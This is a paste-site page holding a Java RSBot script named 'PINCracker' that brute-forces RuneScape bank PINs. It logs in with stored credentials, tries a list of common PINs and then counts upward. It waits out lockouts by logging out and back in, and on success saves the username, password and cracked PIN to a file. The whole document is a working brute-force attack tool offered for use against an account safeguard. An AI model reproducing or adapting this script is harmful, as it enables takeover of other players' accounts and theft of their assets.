Untitled

From Toxic Baboon, 2 Years ago, written in Plain Text, viewed 93 times.
URL https://paste.bugabuse.net/view/9142ef11 Embed
Download Paste or View Raw
  1. import org.rsbot.script.Script;
  2. import org.rsbot.script.ScriptManifest;
  3. import org.rsbot.script.wrappers.RSComponent;
  4. import org.rsbot.event.listeners.PaintListener;
  5. import org.rsbot.util.GlobalConfiguration;
  6. import java.awt.*;
  7. import java.io.*;
  8.  
  9. @ScriptManifest(authors = "Pork",  name = "PINCracker", description = "Cracks bank PIN's.", version = 1.2)
  10. public class PINCracker extends Script implements PaintListener {
  11.  
  12.     private String username = "username"; // Change "username" to your RuneScape username
  13.     private String password = "password"; // Change "password" to your RuneScape password
  14.     private String pin = "0000"; // Change "0000" to the PIN you want to start cracking from
  15.     private boolean logout = false; // Change "false" to "true" if you want to be logged out after the PIN is cracked
  16.     private boolean useCommonPINs = true; // Change "false" to "true" if you want the bot to start by using the most common PIN's
  17.  
  18.     private String[] commonPINs = {"1950", "1951", "1952", "1953", "1954", "1955", "1956", "1957", "1958", "1959",
  19.                                    "1960", "1961", "1962", "1963", "1964", "1965", "1966", "1967", "1968", "1969",
  20.                                    "1970", "1971", "1972", "1973", "1974", "1975", "1976", "1977", "1978", "1979",
  21.                                    "1980", "1981", "1982", "1983", "1984", "1985", "1986", "1987", "1989", "1990",
  22.                                    "1991", "1992", "1993", "1994", "1995", "1996", "1997", "1998", "1999", "2000",
  23.                                    "2001", "2002", "2003", "2004", "2005", "2006", "2007", "2008", "2009", "2011",
  24.                                    "2012", "2468", "1337", "0101", "0202", "0303", "0404", "0505", "0606", "0707",
  25.                                    "0808", "0909", "1010", "1212", "1313", "1414", "1515", "1616", "1717", "1818",
  26.                                    "1919", "2020", "2121", "2323", "2424", "2525", "2626", "2727", "2828", "2929",
  27.                                    "3030", "3131", "3232", "3434", "3535", "3636", "3737", "3838", "3939", "4040",
  28.                                    "4141", "4242", "4343", "4545", "4646", "4747", "4848", "4949", "5050", "5151",
  29.                                    "5252", "5353", "5454", "5656", "5757", "5858", "5959", "6060", "6161", "6262",
  30.                                    "6363", "6464", "6565", "6767", "6868", "6969", "7070", "7171", "7272", "7373",
  31.                                    "7474", "7575", "7676", "7878", "7979", "8080", "8181", "8282", "8383", "8484",
  32.                                    "8585", "8686", "8787", "8989", "9090", "9191", "9292", "9393", "9494", "9595",
  33.                                    "9696", "9797", "9898", "9119", "6667", "1800", "8008", "8118", "8228",
  34.                                    "8338", "8448", "8558", "8668", "8778", "8998", "9009", "9119", "9229", "9339",
  35.                                    "9449", "9559", "9669", "9779", "9889", "0011", "0022", "0033", "0044", "0055",
  36.                                    "0066", "0077", "0088", "0099", "1100", "1122", "1133", "1144", "1155", "1166",
  37.                                    "1177", "1188", "1199", "2200", "2211", "2233", "2244", "2255", "2266", "2277",
  38.                                    "2288", "2299", "3300", "3311", "3322", "3344", "3355", "3366", "3377", "3388",
  39.                                    "3399", "4400", "4411", "4422", "4433", "4455", "4466", "4477", "4488", "4499",
  40.                                    "5500", "5511", "5522", "5533", "5544", "5566", "5577", "5588", "5599", "6600",
  41.                                    "6611", "6622", "6633", "6644", "6655", "6677", "6688", "6699", "7700", "7711",
  42.                                    "7722", "7733", "7744", "7755", "7766", "7788", "7799", "8800", "8811", "8822",
  43.                                    "8833", "8844", "8855", "8866", "8877", "8899", "9900", "9911", "9922", "9933",
  44.                                    "9944", "9955", "9966", "9977", "9988"};
  45.    
  46.     private int state;
  47.     private int tried = 0;
  48.     private long banktimeout = 10;
  49.     private String startPIN = pin;
  50.     private boolean commonPINsFinished = true;
  51.    
  52.     //Paint variables
  53.     public long startTime = 0;
  54.     public long millis = 0;
  55.     public long hours = 0;
  56.     public long minutes = 0;
  57.     public long seconds = 0;
  58.     public long last = 0;
  59.     public int totalTried = 0;
  60.     public int pinsPerHour = 0;
  61.     public String currentPIN = pin;
  62.     public boolean pinIsCracked = false;
  63.  
  64.     public boolean activateCondition() {
  65.         return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  66.     }
  67.  
  68.     public long bankTimeout() {
  69.         return banktimeout;
  70.     }
  71.  
  72.     public void enterCode(final String aPin) {
  73.         if (!interfaces.get(13).isValid())
  74.             return;
  75.         final RSComponent[] children = interfaces.get(13).getComponents();
  76.         state = 0;
  77.         for (int i = 1; i < 5; i++) {
  78.             if (children[i].containsText("?")) {
  79.                 state++;
  80.             }
  81.         }
  82.         state = 4 - state;
  83.         currentPIN = pin;
  84.         if (!interfaces.get(759).isValid())
  85.             return;
  86.         final RSComponent[] bankPin = interfaces.get(759).getComponents();            
  87.         for (int i = 0; i < bankPin.length; i++) {
  88.             if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  89.                 final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  90.                 int stateBefore = 0;
  91.                 int stateAfter = 0;
  92.                 for (int j=1; j<5; j++) {
  93.                     if (childrenBefore[j].containsText("?"))
  94.                         stateBefore++;
  95.                 }
  96.                 bankPin[i].doClick();
  97.                 sleep(500);
  98.                 while (stateBefore == stateAfter) {
  99.                     final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  100.                     for (int k=1; k<5; k++) {
  101.                         if (childrenAfter[k].containsText("?"))
  102.                             stateAfter++;
  103.                     }
  104.                     sleep(500);
  105.                 }
  106.                 break;
  107.             }
  108.         }
  109.         if (state >= 3) {
  110.             sleep(300, 600);
  111.             tried++;
  112.             totalTried++;
  113.             if (tried == 2)
  114.                 sleep(12000);
  115.             else if(tried >= 3) {
  116.                 sleep(2000);
  117.                 if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  118.                     pinIsCracked();
  119.                 else {
  120.                     sleep(14000);
  121.                     tried = 0;
  122.                     while(game.isLoggedIn())
  123.                         game.logout(true);
  124.                 }
  125.             }
  126.             int temp = 0;
  127.             if (useCommonPINs && (totalTried <= commonPINs.length)) {
  128.                 if (totalTried == commonPINs.length) {
  129.                     temp = Integer.parseInt(startPIN);
  130.                     commonPINsFinished = true;
  131.                 }
  132.                 else
  133.                     temp = Integer.parseInt(commonPINs[totalTried]);
  134.             }
  135.             else {
  136.                 temp = Integer.parseInt(pin);
  137.                 temp++;
  138.                 if (useCommonPINs) {
  139.                     for (int i=0; i<commonPINs.length; i++) {
  140.                         if (temp == Integer.parseInt(commonPINs[i])) {
  141.                             temp++;
  142.                         }
  143.                     }
  144.                 }
  145.             }
  146.             if (temp >= 0 && temp <= 9)
  147.                 pin = String.format("000%d", temp);
  148.             else if(temp >= 10 && temp <= 99)
  149.                 pin = String.format("00%d", temp);
  150.             else if(temp >= 100 && temp <= 999)
  151.                 pin = String.format("0%d", temp);
  152.             else if(temp >= 1000 && temp <= 9999)
  153.                 pin = "" + temp;
  154.         }
  155.     }
  156.  
  157.     public void login() {
  158.         if (interfaces.get(906).containsText("account has not logged out") || interfaces.get(596).containsText("account has not logged out"))
  159.             mouse.click(382, 322, true);
  160.         else if(interfaces.get(596).containsText("Error connecting"))
  161.             mouse.click(382, 305, true);
  162.         else if(interfaces.get(906).isValid()) {
  163.             interfaces.get(906).getComponent(171).doClick();
  164.             while(interfaces.get(906).containsText("Entering game"))
  165.                 sleep(500);
  166.         }
  167.         else if (interfaces.get(596).isValid()) {
  168.             if(interfaces.get(596).getComponent(65).getText().length() == 0) {
  169.                 interfaces.get(596).getComponent(65).doClick();
  170.                 sleep(1000);
  171.                 keyboard.sendText(username, false);
  172.             }
  173.             if(interfaces.get(596).getComponent(71).getText().length() == 0) {
  174.                 interfaces.get(596).getComponent(71).doClick();
  175.                 sleep(1000);
  176.                 keyboard.sendText(password, false);
  177.             }
  178.             interfaces.get(596).getComponent(51).doClick();
  179.             sleep(3000);
  180.         }
  181.     }
  182.  
  183.     public void pinIsCracked() {
  184.         pinIsCracked = true;
  185.         log("PIN SUCCESSFULLY CRACKED!");
  186.         log.warning("PIN: " + currentPIN);
  187.         try {
  188.             BufferedWriter out = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(),"PINCracker.txt")));
  189.             out.write("Username: " + username);
  190.             out.newLine();
  191.             out.write("Password: " + password);
  192.             out.newLine();
  193.             out.write("PIN: " + currentPIN);
  194.             log("Info wrote to " + GlobalConfiguration.Paths.getSettingsDirectory() + "\\PINCracker.txt");
  195.             out.close();
  196.         }
  197.         catch (IOException e) {
  198.             log.warning(e.getMessage());
  199.         }
  200.         if (logout) {
  201.             log("Logging out...");
  202.             while(game.isLoggedIn())
  203.                 game.logout(false);
  204.             stopScript();
  205.         }
  206.         else {
  207.             log("Staying logged in...");
  208.             mouse.setSpeed(8);
  209.             while(true) {
  210.                 sleep(1000);
  211.                 if (random(0,60) == 50) {
  212.                     camera.setAngle(random(0,360));
  213.                     mouse.moveRandomly(300);
  214.                 }
  215.                 while(!game.isLoggedIn())
  216.                     login();
  217.             }
  218.         }
  219.     }
  220.  
  221.     public boolean onStart() {
  222.         startTime = System.currentTimeMillis();
  223.         mouse.setSpeed(1);
  224.         if (useCommonPINs) {
  225.             pin = commonPINs[0];
  226.             currentPIN = commonPINs[0];
  227.             commonPINsFinished = false;
  228.         }
  229.         return true;
  230.     }
  231.  
  232.     @Override
  233.     public int loop() {
  234.         if (game.isLoggedIn()) {
  235.             if (interfaces.get(13).isValid()) {
  236.                 enterCode(pin);
  237.                 sleep(500,1000);
  238.             }
  239.             else if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  240.                 pinIsCracked();
  241.             else
  242.                 bank.open();
  243.         }
  244.         else
  245.             login();
  246.         return random(200,500);
  247.     }
  248.  
  249.     public void onRepaint(Graphics g1) {
  250.         Graphics2D g = (Graphics2D)g1;
  251.        
  252.         millis = System.currentTimeMillis() - startTime;
  253.         hours = millis / (1000 * 60 * 60);
  254.         millis -= hours * (1000 * 60 * 60);
  255.         minutes = millis / (1000 * 60);
  256.         millis -= minutes * (1000 * 60);
  257.         seconds = millis / 1000;
  258.         String hoursString = "" + hours;
  259.         String minutesString = "" + minutes;
  260.         String secondsString = "" + seconds;
  261.         if (hours < 10)
  262.             hoursString = "0" + hours;
  263.         if (minutes < 10)
  264.             minutesString = "0" + minutes;
  265.         if (seconds < 10)
  266.             secondsString = "0" + seconds;
  267.  
  268.         if (!pinIsCracked) {
  269.             if (commonPINsFinished) {
  270.                 g.setColor(new Color(0, 0, 255, 220));
  271.                 g.fillRect(5, 5, 190, 65);
  272.                 g.setFont(new Font("Arial", Font.BOLD, 15));
  273.                 g.setColor(Color.WHITE);
  274.                 g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  275.                 g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  276.                 g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  277.                 g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  278.             }
  279.             else {
  280.                 g.setColor(new Color(0, 0, 255, 220));
  281.                 g.fillRect(5, 5, 190, 75);
  282.                 g.setFont(new Font("Arial", Font.BOLD, 15));
  283.                 g.setColor(Color.WHITE);
  284.                 g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  285.                 g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  286.                 g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  287.                 g.setFont(new Font("Arial", Font.BOLD, 10));
  288.                 g.drawString("(Trying common PINs first)", 10, 60);
  289.                 g.setFont(new Font("Arial", Font.BOLD, 15));
  290.                 g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 75);
  291.             }
  292.         }
  293.         else {
  294.             g.setColor(new Color(0, 255, 0, 220));
  295.             g.fillRect(5, 5, 190, 65);
  296.             g.setFont(new Font("Arial", Font.BOLD, 20));
  297.             g.setColor(Color.WHITE);
  298.             g.drawString("PIN CRACKED", 34, 25);
  299.             g.setFont(new Font("Arial", Font.BOLD, 40));
  300.             g.drawString(currentPIN, 56, 62);
  301.         }
  302.     }
  303. }

Reply to "Untitled"

Here you can reply to the paste above